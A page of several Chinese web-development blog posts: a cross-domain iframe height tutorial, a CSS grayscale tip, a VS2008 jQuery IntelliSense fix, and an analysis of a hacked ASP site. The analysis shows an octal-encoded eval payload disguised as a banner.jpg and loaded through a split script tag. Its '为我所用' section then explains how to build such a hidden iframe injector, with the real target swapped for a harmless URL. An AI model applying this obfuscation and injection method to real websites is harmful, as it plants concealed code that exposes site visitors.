    <iframe id="ifr" src="http://snandy.jd-app.com" frameborder="0" width="100%"></iframe>

  </body>

</html>

 

B.html

嵌入在C页面中,它是隐藏的,通过parent.parent访问到A,再改变A的iframe(C.html)高度,这是最关键的,因为A,B是同域的所以可以访问A的文档对象等。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

<!DOCTYPE html>

<html>

  <head>

    <meta charset='utf-8' />

    <title>B.html</title>

  </head>

  <body>

    <script type="text/javascript">

        window.onload = function() {

            var isSet = false

            var inteval = setInterval(function() {

                var search = location.search.replace('?''')

                if (isSet) {

                    clearInterval(inteval)

                    return  

                }

                if (search) {

                    var height = search.split('=')[1]

                    var doc = parent.parent.document

                    var ifr = doc.getElementById('ifr')

                    ifr.style.height = height + 'px'

                    isSet = true

                }

            }, 500)

        }

    </script>

  </body>

</html>

 

C.html

嵌入在A中,和A不同域,要实现C的自适应,C多高则A里的iframe就设为多高。C里嵌入B.html 和 D.js

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

<!doctype html>

<html>

<head>

    <title>C.html</title>

    <meta charset="utf-8">

</head>

<body>

    <h3>这是一个很长的页面,我要做跨域iframe的高度自适应</h3>

    <ul>

        <li>页面 A:http://snandy.github.io/lib/iframe/A.html</li>

        <li>页面 B:http://snandy.github.io/lib/iframe/B.html</li>

        <li>页面 C:http://snandy.jd-app.com</li>

        <li>D.js:http://snandy.github.io/lib/iframe/D.js</li>

    </ul>

    <p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p><p>A</p>

    <iframe id="myifr" style="display:none" src="http://snandy.github.io/lib/iframe/B.html"></iframe>

    <script type="text/javascript" src="http://snandy.github.io/lib/iframe/D.js"></script>

</body>

</html>

  

D.js

在页面C载入后计算其高度,然后将计算出的height赋值给C里引入的iframe(B.html)的src

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 计算页面的实际高度,iframe自适应会用到

function calcPageHeight(doc) {

    var cHeight = Math.max(doc.body.clientHeight, doc.documentElement.clientHeight)

    var sHeight = Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight)

    var height  = Math.max(cHeight, sHeight)

    return height

}

window.onload = function() {

    var doc = document

    var height = calcPageHeight(doc)

    var myifr = doc.getElementById('myifr')

    if (myifr) {

        myifr.src = 'http://snandy.github.io/lib/iframe/B.html?height=' + height

        // console.log(doc.documentElement.scrollHeight)     

    }

};

  

线上示例:http://snandy.github.io/lib/iframe/A.html

 

S
转自 Snandy 11 年前
4,150
探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 16 年前
6,565

使网页变灰色,只需要一句 css 代码:

html { filter: grayscale(1); }

在 I10 / IE11 上的兼容方案需要 grayscale.js,参考此文:http://www.cnblogs.com/wangmeijian/p/4324693.html

CSS 背景图片变灰:https://stackoverflow.com/questions/16340159/greyscale-background-css-images


xoyozo 16 年前
9,094

在使用jQuery时,VS2008有提供整合jQuery IntelliSense,
这样在写jQuery时更简单容易,

设定的方式如下:
安装VS2008 sp1 (已经安装过就可以跳过此步骤)
安装 hotfix 让VS2008 可以自动去读取 “-vsdoc.js”来提供Javascript Lib 的 InterlliSense
下载 jQuery-1.3.2.min.js 以及 jQuery-1.3.2-vsdoc2.js
将 jQuery-1.3.2.min.js 重新命名为 jQuery-1.3.2.js
将 jQuery-1.3.2-vsdoc2.js 重新命名为 jQuery-1.3.2-vsdoc.js
将 jQuery-1.3.2.js 以及 jQuery-1.3.2-vsdoc.js 加入到专桉裡
在vs2008编辑Javascript时,点选 "编辑”/“IntelliSense”/”更新JScript IntelliSense”

结果 左下角显示 " 更新JScript IntelliSense 时发生错误,请参阅错误清单”
错误内容为 "'div.childNodes' 是 null 或不是一个物件"
请打开 jQuery-1.3.2-vsdoc.js  
将其中一段

elem = jQuery.makeArray( div.childNodes );
替换成
if (div && div.childNodes) elem = jQuery.makeArray( div.childNodes );
再重新 点选 "编辑”/“IntelliSense”/”更新JScript IntelliSense”
完工

补充: 步骤2 的hotfix 可以选择性安装,如果没有安装的话,必须自己在页面加上
<script src="Js/jquery-1.3.2-vsdoc.js" type="text/javascript"></script>
有安装hotfix的话vs2008会自动去读取相同档名,但是后面带有-vsdoc的档桉产生IntelliSense内容,
建议是安装,这样就不用每次使用都要加上 -vsdoc.js

另外分享几个小技巧
如果要在 js档 裡面使用 IntelliSense 的话,可以加上这行
/// <reference path="~/js/jquery-1.3.2.js" />
如果要在 MasterPage 或是 使用者控制项(User Control) ,使用 IntelliSense ,又怕跟主页面重複一直呼叫 js 档,可以利用这方法
<% if(false) { %>
<script src="js/jquery-1.3.2.js" type="text/javascript"></script>
<% } %>
这样就可以在设计阶段有 IntelliSense ,在执行阶段时又不会被输出到页面。

12,098